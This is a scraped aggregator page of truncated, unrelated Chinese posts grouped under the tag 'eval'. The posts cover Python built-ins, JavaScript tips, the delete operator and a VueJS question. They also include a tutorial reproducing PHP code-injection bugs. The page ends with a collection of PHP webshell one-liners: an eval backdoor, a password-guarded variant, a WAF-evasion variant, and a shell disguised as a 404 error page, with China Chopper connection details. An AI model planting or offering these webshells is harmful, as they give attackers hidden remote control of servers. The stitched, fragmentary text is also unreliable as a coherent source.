eval

python初识之内置函数一

丶灬走出姿态 提交于 2020-02-29 08:26:04
  python的内置函数一共有68个,这里先学习55个 作用域相关:locals()和globals()   locals() 返回本地作用域中的所有名字   globals() 返回全局作用域中的所有名字 迭代器生成器相关:range() 、iter()、next()   range() 可迭代的   iter() 可迭代的.__iter__()就能得到一个迭代器   next() 迭代器.__next__()就能得到一个值 == next() 查看内容:dir()   dir() 查看一个对象拥有的方法 调用相关:callable()、help()   callable() 主要用来检验函数能否被调用   help() 查看函数帮助 def func(): print("hello") print(callable(func)) help(func())   ps:某个方法属于某个数据类型的变量,就可以用.调用,如果某个方法不依赖于任何数据类型,就可以直接调用,那么它就是内置函数或自定义函数 文件操作相关:open()、close()   f = open('文件名',打开方式,编码方式) 打开方式有r,w,a,r+,w+,a+六种,得到一个文件句柄   记得使用完后要关闭文件释放内存。f.close() 内存相关:id()、hash()   id()查看变量的内存地址  

JavaScript的24条最佳实践

倾然丶 夕夏残阳落幕 提交于 2020-02-29 00:49:34
1.使用 === 代替 == JavaScript 使用2种不同的等值运算符:===|!== 和 ==|!=,在比较操作中使用前者是最佳实践。“如果两边的操作数具有相同的类型和值,===返回true,!==返回false。”——《JavaScript:语言精粹》然而,当使用==和!=时,你可能会遇到类型不同的情况,这种情况下,操作数的类型会被强制转换成一样的再做比较,这可能不是你想要的结果。 2.Eval=邪恶 起初不太熟悉时,“eval”让我们能够访问JavaScript的编译器(译注:这看起来很强大)。从本质上讲,我们可以将字符串传递给eval作为参数,而执行它。这不仅大幅降低脚本的性能(译注:JIT编译器无法预知字符串内容,而无法预编译和优化),而且这也会带来巨大的安全风险,因为这样付给要执行的文本太高的权限,避而远之。 3.省略未必省事 从技术上讲,你可以省略大多数花括号和分号。大多数浏览器都能正确理解下面的代码: if(someVariableExists) x = false 复制代码 然后,如果像下面这样: if(someVariableExists) x = false anotherFunctionCall(); 复制代码 有人可能会认为上面的代码等价于下面这样: if(someVariableExists) { x = false;

delete分析 引用于 http://www.cnblogs.com/yuzhongwusan/archive/2012/06/14/2549879.html

点点圈 提交于 2020-02-28 23:47:18
最近重新温习JS,对delete操作符一直处于一知半解的状态,偶然发现一篇文章,对此作了非常细致深入的解释,看完有茅塞顿开的感觉,不敢独享,大致翻译如下。 原文地址: http://perfectionkills.com/understanding-delete/ P.S. 作者是PrototypeJS的开发组成员之一 ========分割线======== 在开始之前,先让我们看一段代码 Js代码 >>> var sum = function(a, b) {return a + b;} >>> var add = sum; >>> delete sum true >>> typeof sum; "undefined" 这段代码是Firebug控制台里的实际结果,初看这段代码,你觉得有什么问题?但我要说的是,删除sum应该是失败的,同时typeof sum的结果不应该是undefined,因为在Javascript里以这种方式声明的变量是无法被删除的。 那么问题出在哪里?为了回答这个问题,我们需要理解delete操作符在各种情况下的实现细节,然后再回过头来看Firebug的这个看似“诡异”的输出。 P.S 没有特殊声明的情况下,下文中所提到的Javascript都指的是ECMAScript规范。 1. 理论 delete操作符通常用来删除对象的属性: Js代码 var o = {

VueJS - Interpolate a string within a string

混江龙づ霸主 提交于 2020-02-28 13:34:32
问题 In VueJS, is there a way to interpolate a string within a string, either in the template or in the script? For example, I want the following to display 1 + 1 = 2 instead of 1 + 1 = {{ 1 + 1 }} . <template> {{ myVar }} </template> <script> export default { data() { "myVar": "1 + 1 = {{ 1 + 1 }}" } } </script> Edit: to better illustrate why I would need this, here's what my actual data looks like: section: 0, sections: [ { inputs: { user: { first_name: { label: "First Name", type: "text", val:

漏洞复现篇——任意代码命令执行漏洞复现及防御

*爱你&永不变心* 提交于 2020-02-28 05:59:01
什么是代码执行: 当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能够控制这个字符串,将造成代码注入漏洞。 代码执行函数: 在php中:eval,assert,preg_replace(‘/*/e’, ' r e t = " 1 " ; ′ , ret = "\\1";', r e t = " 1 " ; ′ , data); 在asp中:eval, exevute,executeglobal 在jsp中:jsp中没有php中的eval函数,但是可以使用反射机制,使用基于反射机制的表达式引擎,如0GNL,SpEL,MVEL等 发现漏洞: 由于thinkphp存在代码执行漏洞,我们可以使用谷歌语法来搜索这类网站。 如:inurl:think.php 学习代码审计,自己找一些代码执行漏洞 实验环境: PHPstudy 火狐浏览器 模拟实验 直接执行——在www目录下创建2个php文件,分别写入简单的代码,url后加 ?data=phpinfo(); 即可 eval() 函数示例: <?php $data = $_GET [ 'data' ] ; eval ( "\$ret = $data ;" ) ; echo $ret ; ?> preg_replace() 函数示例: <?php $data = $_GET [ 'data' ] ; echo preg_replace

现在比较流行的三级菜单,京东商城,淘宝网效果等等。(修正版)

会有一股神秘感。 提交于 2020-02-28 04:12:53
首先想关注过我的朋友们表示歉意。由于疏忽文章写的有点杂乱。修正我整理了一下。代码不是主要的在于一些话的分享。技术只是抛砖引玉了一下。 顺便和大家分享一些文字。 先看一下效果图 产品端点效应:两个端点的产品更容易快速形成品牌及规模效益:一是高端产品,锁定奢侈消费,高投稿高价值高回报。二是简易产品,不追求附加值,仅满足客户基本需求,如快捷酒店只提睡眠%2B洗澡%2B上网%2B早餐。很简单,但却占领了庞大市场份额,低投入低价值低回报,但可以快速复 View Code 页面 1 < div class ='allsort' > 2 < div class ='mt' > 3 < strong > 导航菜单 </ strong > 4 </ div > 5 < div class ='mc' > 6 < asp:Repeater ID ="BigMenu" runat ="server" OnItemDataBound ="BigMenu_ItemDataBound" 7 EnableViewState ="false" > 8 < ItemTemplate > 9 < div class ='item ' > 10 < span > < h3 > < a href ="#" > <% # Eval ( " menu_name " ) %> </ a ></ h3 > </ span > /

Python学习05.11:Python eval()和exec()函数详解

感情迁移 提交于 2020-02-27 22:20:01
eval() 和 exec() 函数都属于 Python 的内置函数,由于这两个函数在功能和用法方面都有相似之处,所以将它们放到一节进行介绍。 eval() 和 exec() 函数的功能是相似的,都可以执行一个字符串形式的 Python 代码(代码以字符串的形式提供),相当于一个 Python 的解释器。二者不同之处在于,eval() 执行完要返回结果,而 exec() 执行完不返回结果(文章后续会给出详细示例)。 eval()和exec()的用法 # eval() 函数的语法格式为: eval(source, globals=None, locals=None, /) # exec() 函数的语法格式如下: exec(source, globals=None, locals=None, /) 可以看到,二者的语法格式除了函数名,其他都相同,其中各个参数的具体含义如下: expression:这个参数是一个字符串,代表要执行的语句 。该语句受后面两个字典类型参数 globals 和 locals 的限制,只有在 globals 字典和 locals 字典作用域内的函数和变量才能被执行。 globals:这个参数管控的是一个全局的命名空间,即 expression 可以使用全局命名空间中的函数。如果只是提供了 globals 参数,而没有提供自定义的 __builtins__

解决掉你心中 js function与Function的关系的疑问

雨燕双飞 提交于 2020-02-27 08:39:47
前言 在网上有很多关于js function 与 Function直接关系的文章。 但是我感觉过于抽象化了,那么如何是具体化的解释? 正文部分为个人理解部分,如有不对望指出。 正文 <script> if((function(){}).constructor === Function) { console.log(true); } </script> 我写了一段这个代码,答案为true。 这就是function 与 Function的关系。 看下Function的定义: Function 构造函数创建一个新的 Function 对象。直接调用此构造函数可用动态创建函数,但会遭遇来自 eval 的安全问题和相对较小的性能问题。然而,与 eval 不同的是,Function 构造函数只在全局作用域中运行。 然后还给出了这样一个结论: 每个 JavaScript 函数实际上都是一个 Function 对象。 重新理解一下,Function的定义。 第一句话很好理解,就是可以创建一个Function对象。第二句好也好理解,就是会有安全漏洞和性能问题,详细部分可看eval的安全问题,至于为什么低效,官方解释是:因为使用后者创建的函数是跟其他代码一起解析的。 第三句话,什么叫"Function 构造函数只在全局作用域中运行"? var func = new Function("alert(x

js中级系列三:前端性能优化

随声附和 提交于 2020-02-26 09:15:56
原文链接:http://www.cnblogs.com/xxcanghai/p/5205998.html 链接:http://www.zhihu.com/question/21658448/answer/18903129 前端优化的途径有很多,按粒度大致可以分为两类, 第一类是页面级别的优化,例如 HTTP请求数、脚本的无阻塞加载、内联脚本的位置优化等 ; 第二类则是代码级别的优化,例如 Javascript中的DOM 操作优化、CSS选择符优化、图片优化以及 HTML结构优化等等。 一、页面级优化   1. 减少 HTTP请求数   一个完整的请求都需要经过 DNS寻址、与服务器建立连接、发送数据、等待服务器响应、接收数据这样一个 “漫长” 而复杂的过程。时间成本就是用户需要看到或者 “感受” 到这个资源是必须要等待这个过程结束的,资源上由于每个请求都需要携带数据,因此每个请求都需要占用带宽。另外,由于浏览器进行并发请求的请求数是有上限的 (具体参见此处 ),因此请求数多了以后,浏览器需要分批进行请求,因此会增加用户的等待时间,会给用户造成站点速度慢这样一个印象,即使可能用户能看到的第一屏的资源都已经请求完了,但是浏览器的进度条会一直存在。   减少 HTTP请求数的主要途径包括:   (1). 从设计实现层面简化页面     如果你的页面像百度首页一样简单

一句话

荒凉一梦 提交于 2020-02-26 07:29:24
PHP一句话: 1、普通一句话 <!--?php @eval($_POST['ki11']);?--> 2、防爆破一句话 <!--?php substr(md5($_REQUEST['x']),28)=='6862'&&eval($_REQUEST['ki11']);?--> //菜刀地址http://192.168.64.137/x.php?x=myh0st 密码:ki11 3、过狗一句话 <!--?php ($_=@$_GET[s]).@$_($_POST[ki11])?--> //菜刀地址 http://localhost/1.php?s=assert 4、404隐藏一句话 ? <h1>Not Found</h1> The requested URL /error.php was not found on this server. <!--?php <br ?--> @preg_replace("/[checksql]/e",$_POST['ki11'],"saft"); ?> 菜刀连接: 在配置栏写上 date=@eval($_POST[paxmac]); 5、不用 ? 号的一句话 <script type="text/javascript" language="php">// <![CDATA[ eval ($_POST[ki11]); // ]]></script> 6